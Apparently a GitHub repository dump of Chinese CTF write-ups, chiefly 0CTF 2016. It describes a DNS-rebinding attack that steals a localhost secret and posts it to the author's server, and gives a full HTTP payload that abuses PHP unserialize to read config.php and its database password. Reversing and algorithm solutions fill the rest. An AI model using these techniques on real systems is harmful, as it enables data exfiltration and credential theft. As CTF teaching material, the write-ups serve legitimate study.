├── .gitignore
├── 0CTF2016
├── README.md
├── matrix.txt
├── monkey.txt
├── opm_coeff.png
├── opm_equation.png
├── opm_function.png
├── piapiapia.txt
├── xor.txt
├── xor_flag.bmp
├── xor_segment.png
└── xor_wrong.png
├── 0CTF2017
└── README.md
├── GoogleCTF2016
├── README.md
├── connection.py
├── exchange.proto
├── exchange.py
├── exchange2.py
├── exchange3.py
├── exchange4.py
├── exchange5.py
├── exchange_pb2.py
├── illIllusion.cpp
├── pymd5.py
└── website_gen_sess.py
├── HCTF2015
├── README.md
├── lsb_diff.png
└── songfen.png
├── QWB2019
├── README.md
├── generate_eth_address.py
├── scan_log.png
├── scan_log_grep.png
├── webshell_scan_result.png
└── webshell_source.png
├── QiangwangCup
├── CTF-Writeups_QiangwangCup.pdf
├── FFT.bmp
├── README.md
├── after_md5.bmp
├── before_md5.bmp
├── check_md5.bmp
└── spectrogram.bmp
├── RCTF2015
├── README.md
├── web300_bad_zip.png
├── web300_hash.png
└── web300_payload.png
├── RCTF2019
├── README.md
├── nextphp
│ ├── doc.png
│ ├── ffi_enable.png
│ ├── final_payload.png
│ └── scandir_fileGetContents.png
└── sourceGuardian
│ ├── output3.txt
│ ├── output4.txt
│ ├── protected.opcode.txt
│ ├── solution.php
│ ├── sourceguardian.txt
│ └── zend_changes.diff
├── XDCTF2015
├── README.md
└── misc300_1.png
├── XNUCA201607WEB
├── README.md
└── perl.png
├── eth_writeup_ethernaut.zeppelin.solutions.md
└── 问鼎杯2016
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pdf
2 |
--------------------------------------------------------------------------------
/0CTF2016/README.md:
--------------------------------------------------------------------------------
1 | # 0ctf 2016 Writeup
2 |
3 | ## monkey 4pts
4 |
5 | 上来就是一个PoW(proof of work),如下解之:
6 | ```python
7 | def solve(st):
8 | i = 0
9 | while True:
10 | s = hex(i)
11 | i += 1
12 | if hashlib.md5(s).hexdigest()[:6] == st:
13 | return s
14 | ```
15 |
16 | 由于monkey会在页面停留120s, 那么我们让他访问我们的'http://mydomain:8080/evil.html'后,页面里弄一个setTimeout,90s后ajax get一下'http://127.0.0.1:8080/secret',在把这flag post到我们的主机上即可。所谓同源策略的话,在一开始把mydomain的A记录指向我们的服务器,ttl设为60s,在monkey访问页面mydomain:8080/evil.html后,马上把A记录改成127.0.0.1,90s后请求mydomain:8080/secret时就是请求127.0.0.1:8080/secret了。
17 |
18 | evil.html如下:
19 | ```html
20 |
21 |
22 |
23 |
24 |
33 |
34 |
35 |
36 |
37 | ```
38 |
39 | 记得receive的时候,在somewhereelse/record发送头:`access-control-allow-origin: *`才能接收到flag`array ('data' => '0ctf{monkey_likes_banananananananaaaa}',)`
40 |
41 | ## opm 3pts
42 | stegsolve按行提取rgb LSB得到zip,解压发现是一个arm的二进制代码段dump,转成二进制形式扔ida里,在0xaa109cc4处create function,F5得到这样的东西:
43 |
44 | 
45 | 猜测v6-34是flag字符串,长为16。
46 |
47 | 然后函数结尾处有个check,
48 | 
49 |
50 | 每个被检查的变量都是flag字符串的线性组合,如图:
51 | 
52 |
53 | 那么提取系数,解16元线性方程组,得到flag:
54 | ```python
55 | >>> import numpy
56 | >>> a=numpy.array([[-32, 97, 46, 45, 67, 79, -73, -13, -5, 27, -83, -100, -26, -55, 32, -55], [-31, -90, 20, -66, -89, -64, -73, 26, 87, -76, 15, 72, 85, 89, 6, 84], [78, 22, 94, 75, 34, 31, 61, -16, 100, 14, 27, 92, -42, -7, 83, 57], [43, 44, 75, -59, -17, 82, -1, -44, 47, -68, 76, 72, 48, -89, 96, -27], [44, -60, 87, -64, 57, -18, -60, 9, -81, -33, 24, 84, 62, 89, 42, -97], [30, 68, 23, 91, 46, 32, -62, 42, -5, 54, -57, 59, 48, -97, 89, 79], [-29, -14, 14, -89, -60, 11, 49, -79, 75, -86, -99, -57, -10, 9, 62, -97], [58, 58, 17, 91, -98, -75, -5, -60, -26, 83, -81, 80, 97, 6, 31, -69], [-21, -11, 62, -77, 84, -86, 49, -66, -1, 26, -4, -27, -43, -1, 19, 73], [83, 43, 77, 96, 83, -20, 26, -7, -89, -60, -23, 68, -51, -75, 42, 35], [74, 58, 73, -86, -100, 71, 12, 66, 69, 50, 48, 58, -52, 14, 45, -91], [-60, -61, 26, -31, 20, -59, -53, 72, 68, -90, -41, -74, 48, -27, 30, 8], [-26, 19, 31, -16, -95, 33, 64, -83, 10, 98, -35, -76, 7, -12, 25, -34], [-89, 61, -40, -67, 20, 42, 27, -37, 38, -16, 71, 16, 75, 4, 51, -6], [32, 57, -92, -47, 40, -54, -21, -25, -14, 91, 64, 39, 7, 38, 96, 82], [-56, -6, 55, 42, -6, -38, -37, -27, 64, 16, -54, -53, -96, -31, 84, 100]])
57 | >>> y=numpy.array([-7026,-2645,53442,20609,8630,27564,-27078,15265,-12183,17452,31435,-23099,-8136,13019,20430,-12714])
58 | >>> import numpy.linalg
59 | >>> x=numpy.linalg.solve(a,y)
60 | >>> x
61 | array([ 84., 114., 52., 99., 49., 78., 103., 95., 70.,
62 | 48., 82., 95., 70., 117., 78., 33.])
63 | >>> ''.join([chr(int(round(i))) for i in x])
64 | 'Tr4c1Ng_F0R_FuN!'
65 | ```
66 |
67 | ## piapiapia 6pts
68 | 这道题的漏洞是在于:
69 | 1. `$profile['nickname']`可以填数组,绕过检测。
70 | 2. 更新profile时,序列化后的`$profile`经过filter()过滤后,`'where'`或会变为`'hacker'`,也就是`s:5:"where";`会变成了`s:5:"hacker";`,导致长度不一样,序列化后的格式被破坏,导致反序列化失败。但我们可以精心调整where的个数和双引号的位置,就可以注入任意键值对到反序列化后的`$profile`里,而反序列化后,原代码会读取`$profile['photo']`路径的文件,返回给我们。考虑通过精心调整nickname,把`$profile['photo']`改成`'/var/www/html/config.php'`(经测试发现'../config.php'无效...)。利用以下代码生成payload和模拟这个过程:
71 |
72 | ```php
73 | ";
98 | echo filter(serialize($profile));
99 | echo "
";
100 | var_dump(unserialize(filter(serialize($profile))));
101 | ```
102 |
103 |
104 | 输出
105 | ```
106 | array(4) {
107 | ["phone"]=>
108 | string(1) "1"
109 | ["email"]=>
110 | string(1) "1"
111 | ["nickname"]=>
112 | array(1) {
113 | [0]=>
114 | string(288) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}"
115 | }
116 | ["photo"]=>
117 | string(39) "upload/698d51a19d8a121ce581499d7b701668"
118 | }
119 |
a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:288:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:24:"/var/www/html/config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}
array(4) {
120 | ["phone"]=>
121 | string(1) "1"
122 | ["email"]=>
123 | string(1) "1"
124 | ["nickname"]=>
125 | array(1) {
126 | [0]=>
127 | string(288) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
128 | }
129 | ["photo"]=>
130 | string(24) "/var/www/html/config.php"
131 | }
132 | ```
133 |
134 | 可以看到最后`$profile["photo"]`被修改成了想要的值。base64解码返回值,得到:
135 | ```python
136 | >>> print '''PD9waHAKCSRjb25maWdbJ2hvc3RuYW1lJ10gPSAnMTI3LjAuMC4xJzsKCSRjb25maWdbJ3VzZXJuYW1lJ10gPSAnMGN0Zic7CgkkY29uZmlnWydwYXNzd29yZCddID0gJ29oLW15LSoqKiotd2ViJzsKCSRjb25maWdbJ2RhdGFiYXNlJ10gPSAnMENURl9XRUInOwoJJGZsYWcgPSAnMGN0ZntmYTcxN2I0OTY0OWZiYjljMGRkMGQxNjYzNDY5YTg3MX0nOwo/Pgo='''.decode('base64')
137 |
144 | ```
145 |
146 | payload:
147 | ```
148 | POST /update.php HTTP/1.1
149 | Host: 202.120.7.203:8888
150 | Content-Length: 979
151 | Cache-Control: max-age=0
152 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
153 | Origin: http://202.120.7.203:8888
154 | Upgrade-Insecure-Requests: 1
155 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
156 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJPbDrUHm4bYPsH4Q
157 | Referer: http://202.120.7.203:8888/update.php
158 | Accept-Encoding: gzip, deflate
159 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
160 | Cookie: PHPSESSID=qsfo7b17a6ajo5usvmkaqqi636
161 |
162 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
163 | Content-Disposition: form-data; name="phone"
164 |
165 | 11111111111
166 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
167 | Content-Disposition: form-data; name="email"
168 |
169 | 2@example.com
170 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
171 | Content-Disposition: form-data; name="nickname[]"
172 |
173 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}
174 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
175 | Content-Disposition: form-data; name="photo"; filename="2.gif"
176 | Content-Type: application/octet-stream
177 |
178 | 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
179 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q--
180 | ```
181 |
182 | ## xor painter 4pts
183 | 下下来一个一堆坐标的文件,一开始以为是每行是一条直线两个端点的坐标(x1, y1, x2, y2),画出来然后直线的交叉点异或处理。后来画出来一个三角形区域,就知道了是(x1, x2, y1, y2)。在画出来一个正方形区域里一坨雪花,仔细想想后发现应该是每行表示一个矩形而不是直线,然后问题就变成了顶点上矩形覆盖数的奇偶性问题,用二维线段树去弄,复杂度才可以接受,就是poj2155原题。懒得写二维线段树就上网随便抄了段题解代码跑(oi的代码果然还是不可靠各种崩,换了n种版本终于不崩了),找了个大内存机器后强行开几G数组跑线段树,发现画出来一个似是而非的东西,中间一坨1像素的直线干扰,如下:
184 |
185 | 
186 |
187 | 后来在开了脑洞,估计就是右下角坐标需要-1,也就是这矩形区域是左闭右开的,然后就画出对的图了,就是一张18000*18000的图里面有大概几个像素大小的字母散落在大图的各处....还需要后续处理一下...
188 |
189 | 二维线段树的c++代码,算法部分直接抄自网上某角落的题解:
190 | ```cpp
191 |
192 | #define SIZE (18000)
193 | #define maxn (72010)
194 | #define DIR "./"
195 |
196 | #define LINE_NUM (13663881)
197 | #include
198 | #include
199 | #include
200 |
201 | using namespace std;
202 | bool *tree[maxn];
203 | int n;
204 | bool sum;
205 |
206 | /*
207 | 更新子线段树,tl、tr对应子矩阵的y1、y2,即要更新的范围。
208 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx
209 | rt:子线段树的节点序号
210 | L,R为子线段树节点rt的两端点
211 | */
212 | void updatey(int rtx, int rt, int tl, int tr, int L, int R) {
213 | //一开始弄反了,写成L<=tl && tr<=R。。。
214 | //要注意,应该是所在节点rt的区间在所要更新的节点范围里,更新节点rt的区间对应的值
215 | if (tl <= L && R <= tr) {
216 | tree[rtx][rt] = !tree[rtx][rt]; //对属于更新范围里的子矩阵进行取反
217 | return;
218 | }
219 | int mid = (L + R) >> 1;
220 | //下面部分也可以换成注释掉的语句
221 | if (tl <= mid)
222 | updatey(rtx, rt << 1, tl, tr, L, mid);
223 | if (tr>mid)
224 | updatey(rtx, rt << 1 | 1, tl, tr, mid + 1, R);
225 | /*
226 | if(tr<=mid)
227 | updatey(rtx,rt<<1,tl,tr,L,mid);
228 | else if(tl>mid)
229 | updatey(rtx,rt<<1|1,tl,tr,mid+1,R);
230 | else{
231 | updatey(rtx,rt<<1,tl,mid,L,mid);
232 | updatey(rtx,rt<<1|1,mid+1,tr,mid+1,R);
233 | }
234 | */
235 |
236 |
237 |
238 | }
239 | /*
240 | 更新左上角(x1,y1),右下角(xr,yr)的子矩阵区域
241 | 更新时,先在x轴找到对应[xl,xr]区间的点,再找按y轴找到对应[yl,yr]区间的节点
242 | rt:母线段树的节点序号
243 | L,R:rt节点的区间端点
244 | */
245 | void updatex(int rt, int xl, int xr, int yl, int yr, int L, int R) {
246 | //一开始弄反了,写成L<=xl && xr<=R。。。
247 | if (xl <= L && R <= xr) {
248 | updatey(rt, 1, yl, yr, 0, n);
249 | return;
250 | }
251 | int mid = (L + R) >> 1;
252 | //下面部分也可以换成注释掉的语句
253 | if (xl <= mid)
254 | updatex(rt << 1, xl, xr, yl, yr, L, mid);
255 | if (xr>mid)
256 | updatex(rt << 1 | 1, xl, xr, yl, yr, mid + 1, R);
257 | /*
258 | if(xr<=mid)
259 | updatex(rt<<1,xl,xr,yl,yr,L,mid);
260 | else if(xl>mid)
261 | updatex(rt<<1|1,xl,xr,yl,yr,mid+1,R);
262 | else{
263 | updatex(rt<<1,xl,mid,yl,yr,L,mid);
264 | updatex(rt<<1|1,mid+1,xr,yl,yr,mid+1,R);
265 | }
266 | */
267 |
268 | }
269 | /*
270 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到y所在的叶子节点
271 | 因为这里“异或”就相当于lazy标记,所以要获得最后的值,则必须遍历过y所在的所有子矩阵
272 | rtx:母线段树(x轴)的节点,表示该子线段树属于母线段树的节点rtx
273 | rt:子线段树的节点序号
274 | L,R为子线段树节点rt的两端点
275 | */
276 | void queryy(int rtx, int rt, int y, int L, int R) {
277 | sum ^= tree[rtx][rt]; //这里注意:要先异或!
278 | if (L != R) {
279 | int mid = (L + R) >> 1;
280 | if (y <= mid)
281 | queryy(rtx, rt << 1, y, L, mid);
282 | else
283 | queryy(rtx, rt << 1 | 1, y, mid + 1, R);
284 | }
285 | }
286 | /*
287 | 这里注意的是,是直到L!=R的时候,才停止查询,否则就要一直查询下去,直到查询到点x所在的叶子节点
288 | 因为这里“异或”就相当于lazy标记,所以要获得(x,y)最后的值,则必须遍历过(x,y)点所在的所有子矩阵
289 | rt:母线段树的节点序号
290 | L,R为子线段树节点rt的两端点
291 | x,y为所要查找的点的值
292 | */
293 | void queryx(int rt, int x, int y, int L, int R) {
294 | queryy(rt, 1, y, 0, n);
295 | //注意:当L> 1;
298 | if (x <= mid)
299 | queryx(rt << 1, x, y, L, mid);
300 | else
301 | queryx(rt << 1 | 1, x, y, mid + 1, R);
302 | }
303 | }
304 |
305 | int main() {
306 |
307 | for (int i = 0; i < maxn; i++) {
308 | tree[i] = new bool[maxn];
309 | memset(tree[i], 0, sizeof(bool[maxn]));
310 | }
311 |
312 | n = SIZE;
313 |
314 | FILE *f = fopen(DIR"xorlist", "r");
315 | int x1, y1, x2, y2;
316 | for (int i = 0; i < LINE_NUM; i++) {
317 | fscanf(f, "%d, %d, %d, %d", &x1, &x2, &y1, &y2);
318 | updatex(1, x1, x2-1, y1, y2-1, 0, n);
319 | if (i % 500000 == 0)
320 | printf("%d\n", i);
321 | }
322 | fclose(f);
323 |
324 | f = fopen(DIR"xor.output", "w");
325 | for (int i = 0; i < SIZE; i++) {
326 | for (int j = 0; j < SIZE; j++) {
327 | sum = false;
328 | queryx(1, x1, y1, 0, n);
329 | fprintf(f, "%c", sum ? '1' : '0');
330 | }
331 | if(i%10==0) printf("%d\n", i);
332 | fprintf(f, "\n");
333 | }
334 | fclose(f);
335 |
336 | return 0;
337 | }
338 | ```
339 |
340 |
341 | 用PIL把输出画成大图:
342 | ```python
343 | from PIL import Image
344 | def draw():
345 | size = 18000
346 | a=open('./xor.output','rb').read()
347 | a=a.replace('\r','').split('\n')
348 | b=Image.new('L',(size,size))
349 | for i in xrange(size):
350 | if i%100==0: print i
351 | for j in xrange(size):
352 | b.putpixel((j, i), 255 if a[i][j]=='1' else 0)
353 | b.resize((1000,1000)).save('./xor3.bmp')
354 | b.save('./xor_original3.png')
355 | ```
356 |
357 | 找字母用代码,把图片和对应坐标打出来:
358 | ```python
359 | import Image
360 | img = Image.open('./xor_original3.png')
361 | counter = 0
362 | x=0
363 | while x<180:
364 | print x
365 | y=0
366 | while y<180:
367 | flag = 0
368 | for i in xrange(100):
369 | for j in xrange(100):
370 | if img.getpixel((y*100+j, x*100+i)) == 0:
371 | flag += 1
372 | if flag > 10: break
373 | if flag > 10: break
374 | if flag > 10:
375 | counter += 1
376 | img.crop((y*100, x*100, (y+1)*100-1, (x+1)*100-1)).save('xor/%d_%d_%d.png' % (counter, x, y))
377 | y+=1
378 | counter += 1
379 | img.crop((0, 0, 99, 99)).save('xor/%d.png' % counter)
380 | x+=1
381 | ```
382 |
383 | 画出来这样的一堆图:
384 | 
385 |
386 | 人肉识别一下:
387 | ```
388 | 10_9_19.png 0
389 | 115_89_35.png B
390 | 117_90_35.png B
391 | 121_93_73.png i
392 | 124_95_89.png G
393 | 126_96_6.png _
394 | 127_96_7.png _
395 | 128_96_89.png G
396 | 12_10_18.png 0
397 | 134_101_127.png _
398 | 135_101_144.png B
399 | 13_10_19.png 0
400 | 152_117_125.png p
401 | 155_119_44.png t
402 | 163_126_14.png i
403 | 164_126_74.png m
404 | 165_126_89.png a
405 | 167_127_89.png a
406 | 16_12_46.png c
407 | 170_129_152.png }
408 | 17_12_92.png f
409 | 19_13_92.png f
410 | 22_15_66.png t
411 | 26_18_122.png {
412 | 27_18_149.png 5
413 | 50_40_19.png m
414 | 51_40_20.png m
415 | 53_41_19.png m
416 | 54_41_20.png m
417 | 55_41_118.png _
418 | 58_43_153.png f
419 | 61_45_72.png L
420 | 62_45_73.png L
421 | 64_46_44.png @
422 | 66_47_89.png L
423 | 84_64_70.png g
424 | 89_68_119.png #
425 | 93_71_36.png @
426 | 95_72_94.png _
427 | 96_72_144.png n
428 | 98_73_13.png L
429 | ```
430 |
431 | 重新渲染一张图...
432 | ```python
433 | >>> zip(b,c)
434 | [((9, 19), '0'), ((89, 35), 'B'), ((90, 35), 'B'), ((93, 73), 'i'), ((95, 89), 'G'), ((96, 6), '_'), ((96, 7), '_'), ((96, 89), 'G'), ((10, 18), '0'), ((101, 127), '_'), ((101, 144), 'B'), ((10, 19), '0'), ((117, 125), 'p'), ((119, 44), 't'), ((126, 14), 'i'), ((126, 74), 'm'), ((126, 89), 'a'), ((127, 89), 'a'), ((12, 46), 'c'), ((129, 152), '}'), ((12, 92), 'f'), ((13, 92), 'f'), ((15, 66), 't'), ((18, 122), '{'), ((18, 149), '5'), ((40, 19), 'm'), ((40, 20), 'm'), ((41, 19), 'm'), ((41, 20), 'm'), ((41, 118), '_'), ((43, 153), 'f'), ((45, 72), 'L'), ((45, 73), 'L'), ((46, 44), '@'), ((47, 89), 'L'), ((64, 70), 'g'), ((68, 119), '#'), ((71, 36), '@'), ((72, 94), '_'), ((72, 144), 'n'), ((73, 13), 'L')]
435 | >>> a=Image.new('L',(180,180))
436 | >>> dr=ImageDraw.Draw(a)
437 | >>> for i,j in zip(b,c):
438 | ... dr.text(i, unicode(j,'UTF-8'), font=font, fill=255)
439 | ...
440 | >>> a.show()
441 | >>> a.save('flag.png')
442 | ```
443 |
444 | 得到flag:
445 | 
446 |
--------------------------------------------------------------------------------
/0CTF2016/matrix.txt:
--------------------------------------------------------------------------------
1 | # opm 3pts
2 | stegsolve按行提取rgb LSB得到zip,解压发现是一个arm的二进制代码段dump,转成二进制形式扔ida里,在0xaa109cc4处create function,F5得到这样的东西:
3 |
4 | 
5 | 猜测v6-34是flag字符串,长为16。
6 |
7 | 然后函数结尾处有个check,
8 | 
9 |
10 | 每个被检查的变量都是flag字符串的线性组合,如图:
11 | 
12 |
13 | 那么提取系数,解16元线性方程组,得到flag:
14 | ```python
15 | >>> import numpy
16 | >>> a=numpy.array([[-32, 97, 46, 45, 67, 79, -73, -13, -5, 27, -83, -100, -26, -55, 32, -55], [-31, -90, 20, -66, -89, -64, -73, 26, 87, -76, 15, 72, 85, 89, 6, 84], [78, 22, 94, 75, 34, 31, 61, -16, 100, 14, 27, 92, -42, -7, 83, 57], [43, 44, 75, -59, -17, 82, -1, -44, 47, -68, 76, 72, 48, -89, 96, -27], [44, -60, 87, -64, 57, -18, -60, 9, -81, -33, 24, 84, 62, 89, 42, -97], [30, 68, 23, 91, 46, 32, -62, 42, -5, 54, -57, 59, 48, -97, 89, 79], [-29, -14, 14, -89, -60, 11, 49, -79, 75, -86, -99, -57, -10, 9, 62, -97], [58, 58, 17, 91, -98, -75, -5, -60, -26, 83, -81, 80, 97, 6, 31, -69], [-21, -11, 62, -77, 84, -86, 49, -66, -1, 26, -4, -27, -43, -1, 19, 73], [83, 43, 77, 96, 83, -20, 26, -7, -89, -60, -23, 68, -51, -75, 42, 35], [74, 58, 73, -86, -100, 71, 12, 66, 69, 50, 48, 58, -52, 14, 45, -91], [-60, -61, 26, -31, 20, -59, -53, 72, 68, -90, -41, -74, 48, -27, 30, 8], [-26, 19, 31, -16, -95, 33, 64, -83, 10, 98, -35, -76, 7, -12, 25, -34], [-89, 61, -40, -67, 20, 42, 27, -37, 38, -16, 71, 16, 75, 4, 51, -6], [32, 57, -92, -47, 40, -54, -21, -25, -14, 91, 64, 39, 7, 38, 96, 82], [-56, -6, 55, 42, -6, -38, -37, -27, 64, 16, -54, -53, -96, -31, 84, 100]])
17 | >>> y=numpy.array([-7026,-2645,53442,20609,8630,27564,-27078,15265,-12183,17452,31435,-23099,-8136,13019,20430,-12714])
18 | >>> import numpy.linalg
19 | >>> x=numpy.linalg.solve(a,y)
20 | >>> x
21 | array([ 84., 114., 52., 99., 49., 78., 103., 95., 70.,
22 | 48., 82., 95., 70., 117., 78., 33.])
23 | >>> ''.join([chr(int(round(i))) for i in x])
24 | 'Tr4c1Ng_F0R_FuN!'
25 | ```
--------------------------------------------------------------------------------
/0CTF2016/monkey.txt:
--------------------------------------------------------------------------------
1 | # monkey 4pts
2 |
3 | 上来就是一个PoW(proof of work),如下解之:
4 | ```python
5 | def solve(st):
6 | i = 0
7 | while True:
8 | s = hex(i)
9 | i += 1
10 | if hashlib.md5(s).hexdigest()[:6] == st:
11 | return s
12 | ```
13 |
14 | 由于monkey会在页面停留120s, 那么我们让他访问我们的'http://mydomain:8080/evil.html'后,页面里弄一个setTimeout,90s后ajax get一下'http://127.0.0.1:8080/secret',在把这flag post到我们的主机上即可。所谓同源策略的话,在一开始把mydomain的A记录指向我们的服务器,ttl设为60s,在monkey访问页面mydomain:8080/evil.html后,马上把A记录改成127.0.0.1,90s后请求mydomain:8080/secret时就是请求127.0.0.1:8080/secret了。
15 |
16 | evil.html如下:
17 | ```html
18 |
19 |
20 |
21 |
22 |
31 |
32 |
33 |
34 |
35 | ```
36 |
37 | 记得receive的时候,在somewhereelse/record发送头:`access-control-allow-origin: *`才能接收到flag`array ('data' => '0ctf{monkey_likes_banananananananaaaa}',)`
38 |
--------------------------------------------------------------------------------
/0CTF2016/opm_coeff.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_coeff.png
--------------------------------------------------------------------------------
/0CTF2016/opm_equation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_equation.png
--------------------------------------------------------------------------------
/0CTF2016/opm_function.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garzon/CTF-Writeups/44e7df94cedd8865afb4c1cc7c88c2445bebb67e/0CTF2016/opm_function.png
--------------------------------------------------------------------------------
/0CTF2016/piapiapia.txt:
--------------------------------------------------------------------------------
1 | # piapiapia 6pts
2 | 这道题的漏洞是在于:
3 | 1. `$profile['nickname']`可以填数组,绕过检测。
4 | 2. 更新profile时,序列化后的`$profile`经过filter()过滤后,`'where'`或会变为`'hacker'`,也就是`s:5:"where";`会变成了`s:5:"hacker";`,导致长度不一样,序列化后的格式被破坏,导致反序列化失败。但我们可以精心调整where的个数和双引号的位置,就可以注入任意键值对到反序列化后的`$profile`里,而反序列化后,原代码会读取`$profile['photo']`路径的文件,返回给我们。考虑通过精心调整nickname,把`$profile['photo']`改成`'/var/www/html/config.php'`(经测试发现'../config.php'无效...)。利用以下代码生成payload和模拟这个过程:
5 |
6 | ```php
7 | ";
32 | echo filter(serialize($profile));
33 | echo "
";
34 | var_dump(unserialize(filter(serialize($profile))));
35 | ```
36 |
37 |
38 | 输出
39 | ```
40 | array(4) {
41 | ["phone"]=>
42 | string(1) "1"
43 | ["email"]=>
44 | string(1) "1"
45 | ["nickname"]=>
46 | array(1) {
47 | [0]=>
48 | string(288) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}"
49 | }
50 | ["photo"]=>
51 | string(39) "upload/698d51a19d8a121ce581499d7b701668"
52 | }
53 |
a:4:{s:5:"phone";s:1:"1";s:5:"email";s:1:"1";s:8:"nickname";a:1:{i:0;s:288:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:24:"/var/www/html/config.php";}";}s:5:"photo";s:39:"upload/698d51a19d8a121ce581499d7b701668";}
array(4) {
54 | ["phone"]=>
55 | string(1) "1"
56 | ["email"]=>
57 | string(1) "1"
58 | ["nickname"]=>
59 | array(1) {
60 | [0]=>
61 | string(288) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
62 | }
63 | ["photo"]=>
64 | string(24) "/var/www/html/config.php"
65 | }
66 | ```
67 |
68 | 可以看到最后`$profile["photo"]`被修改成了想要的值。base64解码返回值,得到:
69 | ```python
70 | >>> print '''PD9waHAKCSRjb25maWdbJ2hvc3RuYW1lJ10gPSAnMTI3LjAuMC4xJzsKCSRjb25maWdbJ3VzZXJuYW1lJ10gPSAnMGN0Zic7CgkkY29uZmlnWydwYXNzd29yZCddID0gJ29oLW15LSoqKiotd2ViJzsKCSRjb25maWdbJ2RhdGFiYXNlJ10gPSAnMENURl9XRUInOwoJJGZsYWcgPSAnMGN0ZntmYTcxN2I0OTY0OWZiYjljMGRkMGQxNjYzNDY5YTg3MX0nOwo/Pgo='''.decode('base64')
71 |
78 | ```
79 |
80 | payload:
81 | ```
82 | POST /update.php HTTP/1.1
83 | Host: 202.120.7.203:8888
84 | Content-Length: 979
85 | Cache-Control: max-age=0
86 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
87 | Origin: http://202.120.7.203:8888
88 | Upgrade-Insecure-Requests: 1
89 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
90 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJPbDrUHm4bYPsH4Q
91 | Referer: http://202.120.7.203:8888/update.php
92 | Accept-Encoding: gzip, deflate
93 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
94 | Cookie: PHPSESSID=qsfo7b17a6ajo5usvmkaqqi636
95 |
96 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
97 | Content-Disposition: form-data; name="phone"
98 |
99 | 11111111111
100 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
101 | Content-Disposition: form-data; name="email"
102 |
103 | 2@example.com
104 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
105 | Content-Disposition: form-data; name="nickname[]"
106 |
107 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:24:"/var/www/html/config.php";}
108 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q
109 | Content-Disposition: form-data; name="photo"; filename="2.gif"
110 | Content-Type: application/octet-stream
111 |
112 | 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
113 | ------WebKitFormBoundaryJPbDrUHm4bYPsH4Q--
114 | ```
--------------------------------------------------------------------------------
/0CTF2016/xor.txt:
--------------------------------------------------------------------------------
1 | # xor painter 4pts
